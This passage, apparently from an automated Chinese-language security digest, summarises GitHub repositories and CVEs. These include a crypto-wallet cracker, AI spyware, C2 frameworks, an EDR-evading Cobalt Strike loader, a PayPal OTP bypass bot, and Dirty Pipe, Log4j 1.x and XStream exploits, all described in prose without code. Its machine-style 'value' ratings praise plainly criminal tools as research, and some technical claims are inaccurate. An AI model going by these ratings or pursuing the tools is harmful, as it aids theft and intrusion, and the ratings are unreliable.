⚡ 价值评估

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此次更新显著提升了系统的安全防护能力，增加了针对常见安全漏洞（如XSS）的验证措施，并对管理界面访问做出限制，符合安全漏洞修复和安全功能增强的标准。

hack-crypto-wallets - 破解加密加密货币钱包的渗透工具

📌 仓库信息

属性	详情
仓库名称	hack-crypto-wallets
风险等级	`CRITICAL`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库旨在绕过加密货币钱包的安全机制，利用算法攻击弱点获取未授权访问，具备漏洞利用特性，但未披露具体漏洞细节。

🔍 关键发现

序号	发现内容
1	旨在突破加密货币钱包的安全保护机制
2	利用算法攻破钱包加密协议，破解未授权访问
3	涉及潜在的漏洞利用或破解技术
4	影响加密钱包的安全性和用户资产的安全

🛠️ 技术细节

根据README内容，工具采用“复杂的破解方法和算法”攻击钱包加密，具体细节未披露，属于漏洞利用类技术

安全影响分析指出，该工具可能破坏钱包的加密防护，威胁用户资产安全，属于高危安全漏洞

🎯 受影响组件

• 加密货币钱包的加密协议
• 钱包存储和加密机制

⚡ 价值评估

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该仓库展示了破解加密货币钱包的技术方法，涉及漏洞利用与安全突破，具有高度安全研究和渗透测试价值，符合价值判断标准

SpyAI - 基于AI的间谍监控工具

📌 仓库信息

属性	详情
仓库名称	SpyAI
风险等级	`HIGH`
安全类型	`安全研究`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该项目为一款智能间谍软件，能够截取整个监控屏幕并通过Slack通道传输到命令与控制（C2）服务器，利用GPT-4 Vision分析构建每日活动报表。

🔍 关键发现

序号	发现内容
1	监控和数据采集功能
2	通过Slack渠道的C2通信
3	利用GPT-4 Vision进行数据分析
4	潜在的远程信息窃取和监控风险

🛠️ 技术细节

实现细节包括屏幕截图采集、Slack SDK用于数据传输、OpenAI API调用进行图像分析

存在利用被控设备进行秘密监控和数据泄露的安全风险，可能被用于信息窃取和隐私侵犯

🎯 受影响组件

• 监控系统/捕获模块
• 通信渠道（Slack API、C2服务器接口）
• AI分析模块（GPT-4 Vision整合）

⚡ 价值评估

展开查看详细评估

内容涉及高危监控能力和数据泄露渠道，结合智能分析模型，具有明显的安全威胁和利用潜力，符合渗透测试中用于模拟攻击的工具特征。

d3c - 基于C2架构的远控通信模拟

📌 仓库信息

属性	详情
仓库名称	d3c
风险等级	`HIGH`
安全类型	`渗透测试工具/安全研究`

📊 代码统计

分析提交数: 5
变更文件数: 32

💡 分析概述

该仓库实现了一个基础的指挥与控制（C2）系统，支持远程客户端命令执行，包括文件传输、目录管理和进程监控，具有一定的渗透工具性质。

🔍 关键发现

序号	发现内容
1	实现远程命令执行和文件操作功能
2	包含多平台代理端（Windows/Linux）功能
3	支持多种系统命令（如ps、ls、cd、pwd、whoami）
4	体现出渗透测试中的C2通信机制和持久化管理

🛠️ 技术细节

采用Go语言编写，通信基于TCP监听（网络监听扩展支持多客户端连接）

使用gob编码进行消息序列化传输，支持多命令响应机制

实现多种客户端操作命令（文件上传/download、目录浏览、执行指令）

有命令管理与响应处理，采用映射存储命令类型，提高扩展性

🎯 受影响组件

• 远程客户端（渗透代理）
• 指挥中心控制端

⚡ 价值评估

展开查看详细评估

仓库核心功能为C2架构模拟，涵盖多样化渗透测试工具链的实现，如命令执行、文件传输，显示出深度安全研究和漏洞利用技术，相关内容具有较高研究价值。

702-smart-device-security - 基于AI的智能设备安全防护方案

📌 仓库信息

属性	详情
仓库名称	702-smart-device-security
风险等级	`MEDIUM`
安全类型	`安全研究`

📊 代码统计

分析提交数: 5
变更文件数: 4

💡 分析概述

该仓库展示了多层次的安全技术，包括反逆向、关键保护和反网络分析措施，主要针对安卓设备的安全增强，涉及Native加固、关键分割和钓鱼防御。

🔍 关键发现

序号	发现内容
1	实现多层次的安全防护机制，包括Native保护、关键分割和反检测技术
2	利用AI相关技术进行安全增强（如反逆向线索检测）
3	研究内容偏向安全防护方案的设计与技术集成，具有一定的研究价值
4	与搜索关键词‘AI Security’相关，体现为安全防护中应用AI技术手段，但核心目的偏向安全防御，不是漏洞利用/渗透测试工具

🛠️ 技术细节

采用Native C代码结合OpenSSL和CURL实现关键加密和网络请求，增强抗分析能力

集成检测Frida、Root和MitM攻击的多种检测机制，提升反逆向和反分析水平

利用域名变异和钓鱼手段模拟真实环境实现钓鱼与欺骗策略

通过多层加密和信息隐藏（如EXIF元数据）实现密钥保护

🎯 受影响组件

• Android应用的Native层（C/C++）模块
• 关键保护机制及反检测子系统
• 网络请求与防篡改模块

⚡ 价值评估

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仓库围绕AI相关的安全防护技术展开，包括多种复杂的反逆向和钓鱼攻击防御，具有实质性技术内容和创新研究价值，符合安全研究与漏洞利用的范畴。虽然部分内容偏防御方向，但整体结合AI元素体现研究前沿性。

uusec-waf - 企业级AI驱动网页与API安全防护平台

📌 仓库信息

属性	详情
仓库名称	uusec-waf
风险等级	`HIGH`
安全类型	`安全修复/安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 2

💡 分析概述

该仓库提供高性能的Web应用防火墙和API安全网关，主要侧重于安全功能的优化。此次更新包含IP威胁情报数据库的升级和前端界面修复，增强了安全相关的检测与防护能力，改善了威胁情报更新效率，有助于提升对恶意IP的识别能力和安全防护性能。

🔍 关键发现

序号	发现内容
1	基于AI的网页和API安全防护平台
2	更新IP威胁情报数据库，提升恶意IP检测能力
3	修复网络不佳时威胁情报更新导致的性能问题
4	改善界面元素错误，提高整体安全管理体验

🛠️ 技术细节

升级IP地理位置数据库以增强地理识别和威胁检测能力

修复因威胁情报同步引起的访问缓慢问题，提高威胁情报的实时性和准确性

修复界面Bug确保安全管理界面稳定，减少误报或漏报风险

未涉及漏洞利用代码或恶意攻击模型的具体修复

🎯 受影响组件

• IP威胁情报更新模块
• 前端界面元素
• 威胁情报数据库

⚡ 价值评估

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此次更新显著提升了安全威胁检测能力，通过升级威胁情报数据库增强了对恶意IP的识别和防护功能，属于核心安全功能的优化，有助于防范多种网络攻击。

agent-auditor - AWS EC2管理自动化工具

📌 仓库信息

属性	详情
仓库名称	agent-auditor
风险等级	`HIGH`
安全类型	`安全修复/漏洞利用防护`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 21

💡 分析概述

该仓库通过Netlify Functions实现AWS EC2实例的启动与状态监控，涵盖了使用AWS SDK配置、凭证管理和实例控制的安全相关内容，更新包括增强凭证配置、调试信息和安全性验证措施。

🔍 关键发现

序号	发现内容
1	利用AWS SDK在Netlify环境中安全管理EC2实例
2	新增EC2实例启动与状态监控的JavaScript代码
3	引入环境变量验证和凭证安全配置措施
4	增强凭证配置的调试与验证过程，提升安全性

🛠️ 技术细节

通过更新AWS SDK配置的方式，直接在Netlify Functions中用环境变量安全设置AWS凭证，避免硬编码风险。

添加环境变量的清理、验证和调试输出，确保凭证正确安全传递和使用，防止凭证泄露或配置错误引发安全漏洞。

引入凭证存在性验证步骤，确保在调用AWS API之前凭证已正确配置，减少权限错误风险。

提升整体凭证管理流程的安全性和调试便利性。

🎯 受影响组件

• Netlify Functions代码（start.js、status.js）
• AWS SDK配置模块
• 环境变量凭证管理机制

⚡ 价值评估

展开查看详细评估

此次更新重点在于提升EC2实例操作相关的安全凭证配置方法，通过改进的环境变量处理和凭证验证机制，增强了相关功能的安全性和可靠性，具有实际渗透测试和安全防护价值。

claude-ipc-mcp - AI助手间通信协议实现

📌 仓库信息

属性	详情
仓库名称	claude-ipc-mcp
风险等级	`MEDIUM`
安全类型	`安全研究`

📊 代码统计

分析提交数: 5
变更文件数: 17

💡 分析概述

该仓库提供了基于Python的AI助手（如Claude、Gemini）间通信协议的核心技术内容，涵盖安全审计、持久化存储与通讯硬化，促进AI安全通信研究。

🔍 关键发现

序号	发现内容
1	实现AI之间消息传输的通信协议，核心功能包括消息安全与持久化
2	集成了安全审计与防护措施（如Token哈希、权限控制）
3	提供SQLite持久化存储，确保消息在重启后不丢失
4	与搜索关键词'AI Security'高度相关，关注通信安全防护

🛠️ 技术细节

采用Python实现，增加数据库存储(SQLITE)、会话Token管理和速率限制机制，强调安全性与持久性

安全机制分析：通过权限控制、Token哈希和日志审计等手段增强通信安全，支持安全硬化与多实例管理

🎯 受影响组件

• AI通信协议核心模块
• 持久化存储数据库
• 会话和Token管理机制

⚡ 价值评估

展开查看详细评估

该仓库核心内容围绕AI通信的安全保障和持久化技术，符合安全研究、漏洞利用和渗透测试中的通信安全防护方向，内容实质技术深厚，非仅文档或基础工具，符合搜索关键词'AI Security'的核心安全研究范畴，价值高度显著。

burp-idor - 用于检测IDOR漏洞的Python工具

📌 仓库信息

属性	详情
仓库名称	burp-idor
风险等级	`HIGH`
安全类型	`漏洞利用`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库旨在利用启发式分析、本地AI模型和动态测试方法，识别Burp Suite导出流量中的IDOR漏洞，增强Web应用安全。

🔍 关键发现

序号	发现内容
1	工具主要功能是检测IDOR安全漏洞
2	集成启发式分析、AI模型和动态验证，提升漏洞检测准确性
3	安全相关特性包括识别潜在IDOR参数和验证漏洞
4	对Web应用程序中存在IDOR风险的识别和验证具有积极影响

🛠️ 技术细节

采用启发式方法识别潜在IDOR参数，通过AI模型提供上下文相关评分，再结合动态请求验证漏洞

实现中结合模拟请求和参数递增技术，验证漏洞存在与否

利用离线AI模型进行风险评估，减少误报

安全影响可能显著提升Web应用中IDOR漏洞的检测效率

🎯 受影响组件

• Web应用后台数据库交互系统
• API接口参数处理模块

⚡ 价值评估

展开查看详细评估

该项目结合AI和动态验证技术，专注于识别交易ID和用户ID等关键参数中的IDOR漏洞，具有检测漏洞的潜力和创新性，符合安全漏洞检测的价值标准。

koneko - 面向安全测试的Cobalt Strike壳代码加载器

📌 仓库信息

属性	详情
仓库名称	koneko
风险等级	`HIGH`
安全类型	`安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库提供一个具有多重高级隐蔽特性的Cobalt Strike壳代码加载工具，主要用于红队渗透测试，强调规避主流检测解决方案。

🔍 关键发现

序号	发现内容
1	强大的Cobalt Strike壳代码加载器
2	集成多重高级规避技术，绕过多种主流安全检测
3	用于安全评估和渗透测试，非漏洞利用工具
4	没有明确安全漏洞利用代码或修复信息

🛠️ 技术细节

利用复杂的隐蔽和反检测技术实现壳代码加载，通过多种手段规避终端安全软件的检测

具体实现细节未详述，但强调绕过Cortex xDR、Microsoft Defender、Windows Defender及Malwarebytes

缺乏具体漏洞利用代码或漏洞修复机制，偏向规避技术使用

工具目的在于突破检测限制而非修复或利用具体安全漏洞

🎯 受影响组件

• 终端检测与响应系统
• 安全检测软件
• 渗透测试环境中的壳代码加载机制

⚡ 价值评估

展开查看详细评估

该项目为安全渗透测试和红队工作提供了针对主流防御系统的规避技术，具有很高的实用价值和先进性，但未直接涉及漏洞利用或修复，符合渗透测试工具的价值标准。

NavicatPwn - 针对Navicat的后渗透利用框架

📌 仓库信息

属性	详情
仓库名称	NavicatPwn
风险等级	`HIGH`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库提供针对Navicat数据库管理工具的后渗透利用框架，用于安全测试中的漏洞利用和安全评估。

🔍 关键发现

序号	发现内容
1	提供Navicat后渗透的利用框架
2	具备后续漏洞利用和权限提升功能
3	旨在帮助安全专业人员进行漏洞验证和内网渗透
4	引入安全测试和漏洞利用能力

🛠️ 技术细节

基于某种后渗透利用技术设计，具体实现细节未详细披露

可能包含利用Navicat存在的安全漏洞的代码或脚本

应具有漏洞验证与利用流程的技术支持

🎯 受影响组件

• Navicat数据库客户端软件

⚡ 价值评估

展开查看详细评估

该仓库提供针对Navicat的漏洞利用框架，有助于检测和验证Navicat存在的安全漏洞，符合漏洞利用和安全研究的价值标准。

CVE-2025-20682 - 注册表利用工具中的漏洞导致隐藏执行

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-20682
风险等级	`HIGH`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 04:48:32

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Phantom-Registy-Exploit-Cve2025-20682-Runtime-Fud-Lnk

💡 分析概述

该漏洞涉及利用注册表漏洞，通过注册表相关的利用工具或payload实现无声执行，利用FUD技术躲避检测，可能用于隐藏恶意操作。

🔍 关键发现

序号	发现内容
1	利用注册表漏洞实现隐秘执行
2	影响范围主要为可能受影响的注册表操作环境和工具
3	利用条件包括存在特定注册表漏洞及配套利用工具

🛠️ 技术细节

该漏洞利用注册表操作中的安全漏洞，结合FUD技术实现躲避检测的行为。

攻击者通过注册表漏洞或利用工具触发漏洞，实现未授权的隐藏执行。

建议修复方案为及时修补注册表相关漏洞，强化检测机制，并限制注册表操作权限。

🎯 受影响组件

• 注册表操作工具/框架
• 基于注册表的payload

💻 代码分析

分析 1:

工具仓库存在可用POC，代码结构清晰，具有实验验证价值。

分析 2:

提交记录显示持续修改完善，反映开发者对漏洞利用的探索和验证。

分析 3:

代码质量较好，具有实际操作性和复用性。

⚡ 价值评估

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该漏洞具有明确的利用工具（Proof of Concept），影响范围广泛，且涉及隐蔽的执行技术，存在远程或本地权限提升的潜在风险，可被用于关键基础设施或恶意攻击活动。

CVE-2022-0847 - Linux Dirty Pipe 提权漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2022-0847
风险等级	`CRITICAL`
利用状态	`漏洞利用可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 04:08:37

📦 相关仓库

CVE-2022-0847-Docker

💡 分析概述

该仓库提供了一个针对 Linux Dirty Pipe 漏洞 (CVE-2022-0847) 的 Docker 环境演示。仓库的核心在于一个名为 exploit.c 的 C 语言代码，该代码实现了 Dirty Pipe 漏洞的利用逻辑。该漏洞允许未授权用户通过覆写任意只读文件内容来提升权限。仓库最新提交改进了 README 文件，详细说明了漏洞原理、利用方法以及 Docker 环境的搭建和使用。提交还增加了两个 Dockerfile (alpine, debian)，用于构建易受攻击的 Docker 镜像。利用方法：首先，用户需要在 Docker 环境中运行该漏洞，并执行预编译好的 exploit。成功运行后，会修改 /etc/passwd 文件，从而允许用户获得 root 权限。

🔍 关键发现

序号	发现内容
1	Linux 内核漏洞，影响 5.8 及以上版本
2	允许未授权用户覆写任意只读文件内容
3	可用于权限提升，控制系统
4	提供了 Docker 环境，方便复现和学习

🛠️ 技术细节

漏洞原理：由于 pipe_buffer.flags 未初始化，攻击者可以通过构造特定的 pipe 操作，覆写 page cache 中的数据，从而达到修改只读文件的目的。

利用方法：在 Docker 环境中，通过编译和执行 exploit.c 文件，该文件会修改 /etc/passwd 文件，将 root 密码设置为已知密码，然后获得 root 权限。

修复方案：及时更新 Linux 内核到安全版本。

🎯 受影响组件

• Linux Kernel 5.8 及以上版本
• Docker

⚡ 价值评估

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该漏洞影响广泛，影响内核核心组件，具有 RCE 风险，并且仓库提供了可用的 PoC 和详细的利用方法，可以成功提权。

CVE-2021-4104 - Log4j 1.x 存在RCE漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2021-4104
风险等级	`HIGH`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 04:04:00

📦 相关仓库

log4j-CVE-2021-4104

💡 分析概述

该漏洞存在于广泛使用的Log4j 1.x版本中，利用JMSAppender与JMS环境结合时，攻击者通过控制log4j.properties配置文件中的JNDI地址，利用JMS消息注入实现远程代码执行。攻击前提是攻击者必须能够修改log4j的配置文件。

🔍 关键发现

序号	发现内容
1	漏洞利用JMSAppender触发JNDI注入漏洞产生RCE
2	影响广泛使用的Log4j 1.x版本(如1.2.17)
3	利用条件要求攻击者可修改log4j.properties配置文件且目标环境有JMS支持

🛠️ 技术细节

漏洞原理基于Log4j 1.x的JMSAppender组件解析JNDI资源时未做充分安全校验

攻击者通过恶意构造JMSAppender配置，使Log4j执行远程加载的恶意类，从而实现远程命令执行

修复方案包含升级到无该漏洞的Log4j版本或禁用JMSAppender

🎯 受影响组件

• Apache Log4j 1.x (如1.2.17)

💻 代码分析

分析 1:

POC代码包含恶意Java类(Evil.java)，执行本地命令以演示RCE能力，代码结构清晰，符合Java规范

分析 2:

提供详细配置文件(log4j.properties)用于触发漏洞，含JMS和JNDI地址配置

分析 3:

代码中未发现完整自动化测试用例，测试依赖真实环境的JMS及配置修改，整体质量较高但测试覆盖有限

⚡ 价值评估

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该漏洞影响流行日志库Log4j 1.x，提供了完整POC利用代码，利用方式清晰具体，属于远程代码执行漏洞，满足高价值漏洞判断标准。

CVE-2020-26217 - XStream 反序列化远程代码执行漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2020-26217
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 03:58:07

📦 相关仓库

xstream-CVE-2020-26217

💡 分析概述

该漏洞存在于XStream组件中，允许攻击者通过精心构造的XML输入触发反序列化时执行任意系统命令，从而实现远程代码执行攻击。该漏洞影响XStream 1.4.13版本，利用方式为加载恶意XML文件以执行任意命令。

🔍 关键发现

序号	发现内容
1	XStream组件反序列化存在任意代码执行漏洞
2	影响广泛使用的Java序列化库XStream 1.4.13版本
3	利用条件为处理恶意构造的XML数据文件

🛠️ 技术细节

漏洞原理：XStream使用不安全的反序列化机制，攻击者可通过构造含恶意链的XML触发反序列化漏洞执行任意命令。

利用方法：攻击者发送或植入特制的XML文件（如POC中的calc命令示例）被目标加载，从而执行任意系统命令。

修复方案：升级至官方修复版本或禁止反序列化不可信数据，增强安全配置。

🎯 受影响组件

• com.thoughtworks.xstream:xstream:1.4.13

💻 代码分析

分析 1:

提交包含了完整的POC代码，利用了XStream读取恶意XML执行命令

分析 2:

代码结构简洁清晰，主要代码集中在一个Main.java中，易于理解和复现

分析 3:

没有包含额外的测试用例，仅提供了示例XML进行演示

⚡ 价值评估

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该漏洞影响广泛使用的XStream库且有明确版本（1.4.13），漏洞属于远程代码执行且存在明确的POC，满足价值判定标准。

CVE-2021-29505 - XStream反序列化漏洞影响Java应用

📌 漏洞信息

属性	详情
CVE编号	CVE-2021-29505
风险等级	`CRITICAL`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 03:48:58

📦 相关仓库

xstream-CVE-2021-29505

💡 分析概述

该漏洞涉及XStream库在反序列化不可信XML时存在安全风险，攻击者可利用特制的XML实现远程代码执行。投稿代码包含PoC示例，演示利用该漏洞进行远程代码执行。

🔍 关键发现

序号	发现内容
1	利用XStream反序列化漏洞实现远程代码执行
2	影响使用特定版本（如1.4.15）XStream的Java应用
3	攻击者构造恶意XML数据触发漏洞

🛠️ 技术细节

漏洞原理：XStream在反序列化XML数据时未限制类型，允许加载恶意类文件，导致执行任意代码。

利用方法：攻击者提供恶意XML，内容结合特殊序列化对象，触发远程代码执行。

修复方案：升级XStream库到安全版本，启用严格类型验证或允许可信类名。

🎯 受影响组件

• XStream 反序列化模块

💻 代码分析

分析 1:

PoC代码包含实际的恶意XML示例，验证了漏洞的可利用性

分析 2:

测试用例基于反序列化特制XML，能够实现远程命令执行

分析 3:

代码结构显示利用链合理，易于复现和验证，代码质量较高

⚡ 价值评估

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漏洞具有远程代码执行能力，PoC已验证可行，影响广泛版本，且涉及安全敏感的反序列化机制，符合价值标准。

v2board_bug_list - 筛选v2board漏洞网站的安全检测工具

📌 仓库信息

属性	详情
仓库名称	v2board_bug_list
风险等级	`HIGH`
安全类型	`漏洞利用POC/漏洞搜索`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库旨在筛选和列出存在漏洞的v2board站点，包含安全测试流程和安全报告生成，结合了漏洞相关的安全功能和研究内容。

🔍 关键发现

序号	发现内容
1	通过脚本筛选v2board漏洞网站，涉及漏洞检测相关内容
2	包含安全测试流程、报告生成以及漏洞信息整理
3	用于安全研究和漏洞发现，具有一定的实质性技术内容
4	与搜索关键词‘漏洞’高度相关，核心为漏洞筛查和利用分析

🛠️ 技术细节

利用脚本实现对v2board站点的漏洞筛选，有潜在的漏洞检测和验证机制

安全报告的自动生成流程，以及可能的漏洞利用POC收集与整理

集成流程与自动化检测工具，强调安全研究中的实证分析

🎯 受影响组件

• v2board应用系统

⚡ 价值评估

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仓库展示了针对v2board系统的漏洞筛查方法，具有实际漏洞检测或利用价值，内容符合安全研究、漏洞利用的核心目的。仓库利用脚本或工具搜集漏洞信息，核心功能与搜索关键词‘漏洞’高度相关，具有一定的实质性技术内容。

wxvuln - 微信公众号安全漏洞文章知识库

📌 仓库信息

属性	详情
仓库名称	wxvuln
风险等级	`HIGH`
安全类型	`安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 2
变更文件数: 8

💡 分析概述

本仓库自动抓取微信公众号中有关安全漏洞的文章，并转为Markdown格式构建知识库，此次更新新增了多个高危漏洞分析文章，包括畅捷通T+ SQL注入漏洞、APT组织摩诃草攻击分析、蓝牙协议堆使用漏洞PerfektBlue、内网红队渗透技术以及银狐免杀恶意样本分析等，涵盖漏洞细节、利用方式和防护建议，具备较高安全参考价值。

🔍 关键发现

序号	发现内容
1	自动抓取与整理微信公众号安全漏洞相关文章
2	新增高危SQL注入漏洞及APT攻击技术分析文档
3	详细披露蓝牙协议堆使用漏洞及免杀远控木马分析
4	增加内网渗透实战技巧和安全防护建议

🛠️ 技术细节

通过收集公开安全报告和分析文章，构建持续更新的安全知识库，包含漏洞背景、利用方法、样本分析及防御措施。

涵盖多种攻击手法，如SQL注入、远程代码执行、内网凭据窃取及免杀技术，具有重要实战指导意义。

🎯 受影响组件

• 微信公众号安全漏洞信息库
• 畅捷通T+财务业务系统
• 蓝牙协议栈OpenSynergy BlueSDK
• 内网红队渗透工具及技术
• 银狐木马及相关免杀样本

⚡ 价值评估

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更新内容集中在高危安全漏洞和实用渗透技术分析，提供漏洞利用详情及防护建议，符合安全相关价值判断标准，且非普通功能更新或依赖调整，极具实战参考意义。

VulnWatchdog - 自动化漏洞监控与POC分析工具

📌 仓库信息

属性	详情
仓库名称	VulnWatchdog
风险等级	`HIGH`
安全类型	`POC更新/漏洞利用/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 22

💡 分析概述

VulnWatchdog是一个自动化监控GitHub上CVE漏洞及POC代码的工具，利用GPT进行智能分析并生成漏洞详细报告。最新更新主要增加了多个高危漏洞的详细分析文档，包括XStream反序列化RCE、SSRF、任意文件删除漏洞，Log4j 1.2反序列化漏洞，Linux内核Dirty Pipe本地提权漏洞，以及多个其他高危远程代码执行漏洞的POC及利用说明，全部具备有效的利用代码示例，且包含漏洞技术细节和投毒风险分析。

🔍 关键发现

序号	发现内容
1	自动化监控GitHub上的公开CVE及POC代码
2	新增了多个关键远程代码执行和本地提权漏洞的POC和分析
3	涵盖XStream多项远程代码执行漏洞和安全绕过，Log4j 1.2反序列化漏洞，Linux Dirty Pipe提权漏洞等
4	提供了有效的漏洞利用示例，详细描述了利用方式和潜在的投毒风险
5	对漏洞技术细节和安全影响进行了深入剖析，辅助安全研究及防御

🛠️ 技术细节

通过收集多个CVE如CVE-2020-26217、CVE-2021-4104、CVE-2022-0847等的POC XML及代码实现，展示具体利用链及触发条件

利用Java反序列化和XML Payload触发远程代码执行，结合JNDI注入技术实现攻击

针对Linux内核Dirty Pipe漏洞利用未初始化管道缓冲区标志位进行本地提权

报告中同时分析了不同POC代码的投毒风险，评估其可信度和安全性

详细利用步骤涵盖攻击前提、Payload构造及攻击触发过程，为安全防御提供参考

🎯 受影响组件

• XStream低版本 (<1.4.15)
• Apache Log4j 1.2系列
• Linux Kernel 5.8及以上
• FortiWeb GUI
• NetScaler ADC/Gateway

⚡ 价值评估

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更新内容包含多个高危安全漏洞的有效POC代码和利用方法，深入剖析漏洞细节与投毒风险，直接面向网络安全和漏洞利用研究，具备实用的安全研究和防护指导价值，满足安全工具及漏洞利用更新的价值判断标准。

Golin - 综合网络安全扫描与漏洞利用工具

📌 仓库信息

属性	详情
仓库名称	Golin
风险等级	`HIGH`
安全类型	`POC更新/漏洞利用/安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 10

💡 分析概述

该仓库提供弱口令检测、漏洞扫描、端口扫描、协议和组件识别等多功能的网络安全工具。此次更新增加了多种漏洞识别及指纹库，新增多个具体漏洞的POC代码，如Jenkins CVE-2024-23897、Zabbix CVE-2022-23131及Shiro安全利用工具，显著增强了漏洞检测与利用能力。

🔍 关键发现

序号	发现内容
1	集成弱口令检测、漏洞扫描、端口扫描及等保核查功能
2	版本更新增加了多条指纹库以提升组件识别准确性
3	新增和完善了多个安全漏洞的利用代码（POC），包括Jenkins和Zabbix等多个重要漏洞
4	提升了对漏洞检测的自动化与准确性，强化渗透测试实战效果

🛠️ 技术细节

引入MD5的ico文件指纹(hashMD5)匹配技术，提高Web组件识别能力

新增多个利用CVE漏洞的POC脚本，涉及远程命令执行、权限绕过等多种攻击手段

Shiro的安全绕过利用模块，支持多种加密Key和Payload配置，扩展攻击面

对HTTP请求、TLS忽略证书验证处理和Cookie劫持技术进行了实现，增强攻击成功率

整体提升自动化漏洞扫描的精准度，减少误报漏报风险

🎯 受影响组件

• Web应用组件指纹识别模块
• 漏洞利用模块POC，包括Jenkins、Zabbix、Shiro相关
• 网络协议扫描和等保核查功能
• 自动化渗透测试工具链

⚡ 价值评估

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此次更新不仅扩充了指纹库，提高组件识别准确度，还新增了多个实用漏洞POC，提升了自动化漏洞利用和检测的能力，明显增强了渗透测试和安全评估的实用价值和效率，符合高价值安全工具更新标准。

smart-alarm - 智能闹钟项目的Docker集成测试优化

📌 仓库信息

属性	详情
仓库名称	smart-alarm
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 15

💡 分析概述

该仓库为一个智能闹钟Web应用，最新更新专注于完善Docker环境下的集成测试，解决容器间DNS解析和连接问题，新增全面的服务健康检查和集成测试脚本，提升安全测试的可靠性和自动化水平。

🔍 关键发现

序号	发现内容
1	智能闹钟Web应用，包含AI和OWASP安全合规
2	增强和稳定Docker容器间通信和DNS解析
3	新增多服务的集成测试，涵盖数据库、消息队列、存储和监控组件
4	改进测试脚本，提高测试诊断和错误恢复能力，保障业务关键服务的安全连通性

🛠️ 技术细节

通过脚本docker-test-fix.sh解决Docker内DNS解析失效，采用显式服务别名和hosts映射

实现服务间网络共享，支持通过服务名访问其他容器，避免localhost硬编码

引入HTTP健康检查验证各关键服务可用性，自动化执行集成测试脚本覆盖PostgreSQL、Vault、MinIO、RabbitMQ及可观测性工具

增加详细的诊断日志和网络排查机制，强化测试环境的鲁棒性和可维护性

安全影响体现在确保测试环境中服务的正确连接和健康状态，避免因基础设施不稳定导致的安全测试误判和遗漏

🎯 受影响组件

• Docker容器网络配置
• 集成测试框架与脚本
• PostgreSQL、Vault、MinIO、RabbitMQ等核心服务的测试环境
• 观察性组件Grafana、Loki、Jaeger、Prometheus

⚡ 价值评估

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更新重点改进集成测试环境中关键服务的网络连通性和名称解析，提升安全测试的自动化和准确性。新增的健康检测和细粒度诊断工具对保障系统组件间的安全通信及漏洞测试具备积极价值，符合安全工具及安全研究的范畴。

keychain-tools - macOS Keychain管理简化工具集

📌 仓库信息

属性	详情
仓库名称	keychain-tools
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 9

💡 分析概述

该仓库提供了一组macOS Keychain的命令行管理工具，简化了安全命令的调用方式，利用APP_NAME环境变量实现对Keychain中不同应用的密钥管理。最新更新增加了跨应用密钥复制（kc-dup）、应用名列表显示（kc-apps）工具，以及改进了密钥列表(kc-list)的准确定账户名提取，并补充了shell补全支持和文档说明，提升了Keychain密钥管理的灵活性和易用性。

🔍 关键发现

序号	发现内容
1	提供简化调用macOS security命令的工具集，便于Keychain密钥增删查改
2	新增跨应用密钥复制工具 kc-dup，以及应用列表查询工具 kc-apps
3	提升密钥列举准确性，增加Shell补全支持和完善文档，增强易用性
4	提高密钥管理操作的自动化和安全性，便于多应用环境下的密钥运维

🛠️ 技术细节

基于macOS security命令，通过bash脚本封装实现键值增删查改

kc-dup工具实现指定源APP到当前APP的密钥复制，内部操作delete+add确保更新

kc-list通过安全dump-keychain和文本处理改进账户名提取匹配准确度，避免漏报

整体增强了Keychain的命令行操作自动化，减少重复手动操作风险，提高管理效率

🎯 受影响组件

• macOS Keychain
• macOS security命令行工具
• Shell环境（bash/zsh）

⚡ 价值评估

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更新引入了新的安全相关工具（跨应用密钥复制）、改进了密钥管理的准确性和自动化操作，显著提升了Keychain的安全运维能力和易用性，符合安全工具类项目的价值标准。

Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa - 针对PayPal等2FA的OTP绕过工具

📌 仓库信息

属性	详情
仓库名称	Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa
风险等级	`CRITICAL`
安全类型	`漏洞利用`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 5

💡 分析概述

该仓库提供针对基于OTP的双因素认证（2FA）系统的绕过技术，特别是针对Telegram、Discord、PayPal及银行等平台的自动化工具。最新更新内容主要为完善和提升OTP绕过的技术手段，增强对多渠道OTP验证的攻击能力。

🔍 关键发现

序号	发现内容
1	提供自动化OTP绕过工具，针对主流支付和社交平台
2	最新更新增强了绕过PayPal 2FA的能力
3	涉及直接绕过安全验证机制，属于高风险安全威胁
